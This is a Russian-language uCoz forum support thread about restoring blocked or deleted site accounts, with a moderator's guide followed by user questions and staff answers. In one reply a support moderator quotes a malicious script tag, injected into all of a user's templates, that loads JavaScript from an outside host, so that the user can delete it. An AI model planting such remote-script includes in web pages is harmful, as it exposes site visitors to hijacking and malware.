Модератор форума: $Vladimir$  
Сообщество uCoz » Мастерская uCoz » Управление аккаунтом » Аккаунт: удалён, заблокирован
Аккаунт: удалён, заблокирован
Модератор форума
Сообщение # 1 | 11:49:16
«Аккаунт заблокирован»

Владелец сайта, заинтересованный в восстановлении своего аккаунта, должен устранить причину блокировки, которая всегда указывается в сообщении о блокировке, и сообщить об этом службе реагирования на неправомерное использование сервисов uCoz используя форму на сайте или через ПУ, указав в теме обращения: Аккаунт заблокирован



Как правильно составлять сообщение в Службу реагирования на неправомерное использование сервисов uCoz в случае блокировки аккаунта?

Набирая текст сообщения оставьте все эмоции, сообщения, построенные на одних эмоциях, игнорируются сотрудниками uCoz. Не используйте ни в названии, ни в тексте CapsLock, транслит и восклицательные или вопросительные знаки, особенно более одного. Название старайтесь писать без эмоций и по существу дела. Обязательно укажите по пунктам:
- url (адрес сайта в сети) сайта;
- приблизительную дату блокировки сайта;
- задайте интересующий Вас вопрос/изложите Вашу просьбу максимально четко.


"Requested site is not registered at uCoz Web Services SITE NOT FOUND"

Это означает, что сайт с таким адресом никогда не был зарегистрирован в системе. То есть - вы ошиблись с набором адреса.

SITE NOT FOUND
Сайт "адрес_сайта" отключен за неактивность и будет удален через несколько дней. Инструкции по восстановлению отправлены на регистрационный e-mail владельца сайта.

Сайт удален, так как был признан "неактивным", т.е. в течении 40 дней не заходил ни один человек. На e-mail адрес владельца сайта автоматически отправляется автоматическое уведомление о блокировке сайта. Перейдя по ссылке, указанной в письме, вы можете активировать ваш сайт не позднее 15-ти дней после отключения. Если e-mail не подтверждён, автоматическое уведомление о блокировке сайта не отправляется.

Что делать, если не приходило сообщение?

Проверьте папку "СПАМ" вашего почтового ящика. Если и в этой папке письма нет, то выясните в технической поддержке вашей службы не внесли ли они IP сервера, где расположен ваш сайт, в чёрный список. Если вы уверены, что письма не было - пишите письмо в службу технической поддержки uCoz или отправьте заявку на восстановление сайта через форму. Если у вас есть ещё сайты, то можете написать в техническую поддержку из ПУ действующего сайта.

Как правильно написать сообщение с просьбой о восстановлении сайта?

Набирая текст сообщения оставьте все эмоции, сообщения, построенные на одних эмоциях, игнорируются сотрудниками uCoz. Не используйте ни в названии, ни в тексте CapsLock, транслит и восклицательные или вопросительные знаки, особенно более одного. Название старайтесь написать без эмоций и по существу дела. Обязательно укажите по пунктам:
- адрес сайта
- подтверждён ли e-mail (да/нет)
- сообщение об удалении (приходило/не приходило)
- дата сообщения об удалении
- был ли простой сайта (если был, то сколько/не было).

SITE NOT FOUND
Сайт ... не зарегистрирован в системе создания сайтов uCoz.


Это означает, что сайт удален и ссылка на восстановления сайта более не активна.

Что делать если Обратная связь не отвечает?

Возможно, ваше сообщение было некорректно составлено (например, избыточная эмоциональность текста, мало конкретики) и поэтому было проигнорировано. Напоминаем вам о том, что в системе установлен максимальный срок предоставления ответов на тикеты направленные через форму обратной связи - 72 часа с момента добавления обращения в систему.


По поводу разблокировки вашего сайта пишите в техническую поддержку (саппорт) или в абузу.
Писать просьбы разблокировать сайт на форуме НЕ НУЖНО. Этим занимаются в саппорте и в abuse.


Miss_Esq
Сообщений: 13865
Репутация: 4160
Уровень замечаний:

Сообщение # 901 | 13:34:49
mckru, http://forum.ucoz.ru/forum/35-10703-54 напишите там если у вас 79 сервер

mckru
Сообщений: 10
Репутация: 0

Сообщение # 902 | 13:34:59
Цитата (Miss_Esq)
mckru, http://forum.ucoz.ru/forum/35-10703-54 напишите там если у вас 79 сервер

Ещё раз благодарю!

Ушёл по ссылке...

Добавлено (20 Мар 2013, 10:46:22)
---------------------------------------------
Похоже http://forum.ucoz.ru/forum/35-10703-54 - эта ветка мертвая.
А вообще когда S79 поднялся аккаунт и сайт еще были...

P.S.
Простите, если на заблокированном сайте (Аккаунт заблокирован) купить платную услугу аккаунт разблокируется?

Добавлено (20 Мар 2013, 11:25:52)
---------------------------------------------

Цитата (Miss_Esq)
mckru, http://forum.ucoz.ru/forum/35-10703-54 напишите там если у вас 79 сервер

Похоже http://forum.ucoz.ru/forum/35-10703-54 - эта ветка мертвая.
А вообще когда S79 поднялся аккаунт и сайт еще были...

P.S.
Простите, если на заблокированном сайте (Аккаунт заблокирован) купить платную услугу аккаунт разблокируется?
Miss_Esq
Сообщений: 13865
Репутация: 4160
Уровень замечаний:

Сообщение # 903 | 13:35:09
mckru,
Цитата
Простите, если на заблокированном сайте (Аккаунт заблокирован) купить платную услугу аккаунт разблокируется?
Нет, для разблокировки сайта необходимо устранить причину блокировки и доложить об устранении причины в техподдержку ..

mckru
Сообщений: 10
Репутация: 0

Сообщение # 904 | 13:35:19
Цитата (Miss_Esq)
Нет, для разблокировки сайта необходимо устранить причину блокировки и доложить об устранении причины в техподдержку ..
И еще раз благодарю за ответ. Просто мне походу этот аккаут приятель подарит, а у него все сайты заблокированы...
Пойду в тех поддержку..
GansAlieN666
Сообщений: 8
Репутация: 0

Сообщение # 905 | 13:35:29
Miss_Esq, Ви мабуть не зрозуміли суті: я написав ще дві доби тому, причому не одноразово, а зараз я намагаюсь дізнатись чому після усунення причини сайт залишається заблокованим?
Артём5899
Сообщений: 6
Репутация: 0

Сообщение # 906 | 13:35:39
может поможет кто-то мне решить мою проблему?? Я никак не пойму что за спам и кто вообще заявил что сайт спамит, есть один недоброжелатель, может он просто "накатал жалобу" что бы закрыли сайт/форум мой http://myhubforum.at.ua/ почти 4 года он работает и никаких жалоб, а тут на тебе, заблокировали за какой-то спам непонятный, может кто-то объяснит кто подал жалобу, когда, какая жалоба была и IP "накатавшего" жалобу, я знаю одного недоумка с диапазоном 217.118.76.0-217.118.79.255 у которого ип постоянно меняется и он часто "срёт", он мог, но всё же... Помогите разблокировать сайт http://myhubforum.at.ua/
$Vladimir$
$SUPPORT$
Сообщений: 6480
Репутация: 984

Сообщение # 907 | 13:35:49
Артём5899, вы просто не следите за своим сайтом. В гостевой книге данного сайта присутствуют сообщения, посредством которых распространяется детская порнография.

Артём5899
Сообщений: 6
Репутация: 0

Сообщение # 908 | 13:35:59
Цитата ($Vladimir$)
Артём5899, вы просто не следите за своим сайтом. В гостевой книге данного сайта присутствуют сообщения, посредством которых распространяется детская порнография.
ГДЕ? surprised я убрал же вроде Гостевой форум

Добавлено (20 Мар 2013, 20:55:45)
---------------------------------------------
ого, спасибо за информацию, увидел, сижу и удаляю, там куча страниц, а как можно закрыть Гостевую книгу?

$Vladimir$
$SUPPORT$
Сообщений: 6480
Репутация: 984

Сообщение # 909 | 13:36:09
Артём5899, в ПУ сайта удалить модуль, так вы очистите все ненужные сообщения в данном модуле

Сайт разблокирован, удалите сообщения.

$Vladimir$
$SUPPORT$
Сообщений: 6480
Репутация: 984

Сообщение # 910 | 13:36:19
Артём5899, так же удалите
Код
<script language="javascript" src="http://gocash2.ru3.biz/js/back.php?id=54"></script>

Артём5899
Сообщений: 6
Репутация: 0

Сообщение # 911 | 13:36:29
Цитата ($Vladimir$)
Артём5899, так же удалите
А это где? ссылки из Гостевой удалил.
$Vladimir$
$SUPPORT$
Сообщений: 6480
Репутация: 984

Сообщение # 912 | 13:36:39
Артём5899, в шаблоне сайта, перед закрывающим head
Воспользуйтесь быстрой заменой, данный код у вас прописан во всех шаблонах

Артём5899
Сообщений: 6
Репутация: 0

Сообщение # 913 | 13:36:49
Цитата ($Vladimir$)
в шаблоне сайта, перед закрывающим headВоспользуйтесь быстрой заменой, данный код у вас прописан во всех шаблонах
Всё бы хорошо, но я не могу почему-то в Панель Управления войти, пароль вроде как не менял, а войти не могу, при запросе восстановления пароля
просит Любимого певца, а я не помню что бы певцов ставил в контрольный
вопрос, Помогите решить проблему с удалением кода. К E-mail доступ есть, с которым регистрировал сайт. Прошу помощи. Спасибо.
GansAlieN666
Сообщений: 8
Репутация: 0

Сообщение # 914 | 13:36:59
От це я розумію тех.підтримка: не встиг заяву подати, а вже люди переглянули проблему!
Ви там цілком неадекватні чи що?
Пару постів вище на хабі були посилання на дитяче порно, яке він витер і все працює, а на шкільному сайті причеплений був малюночок (який витерли ще 2 доби тому) і Вам хоть би що!
Відписати причину блокування сайту можете?
Miss_Esq
Сообщений: 13865
Репутация: 4160
Уровень замечаний:

Сообщение # 915 | 13:37:09
GansAlieN666, Накрутка счетчика, сёрфинг .... причину блокировки устранили ???

Сообщество uCoz » Мастерская uCoz » Управление аккаунтом » Аккаунт: удалён, заблокирован
Поиск: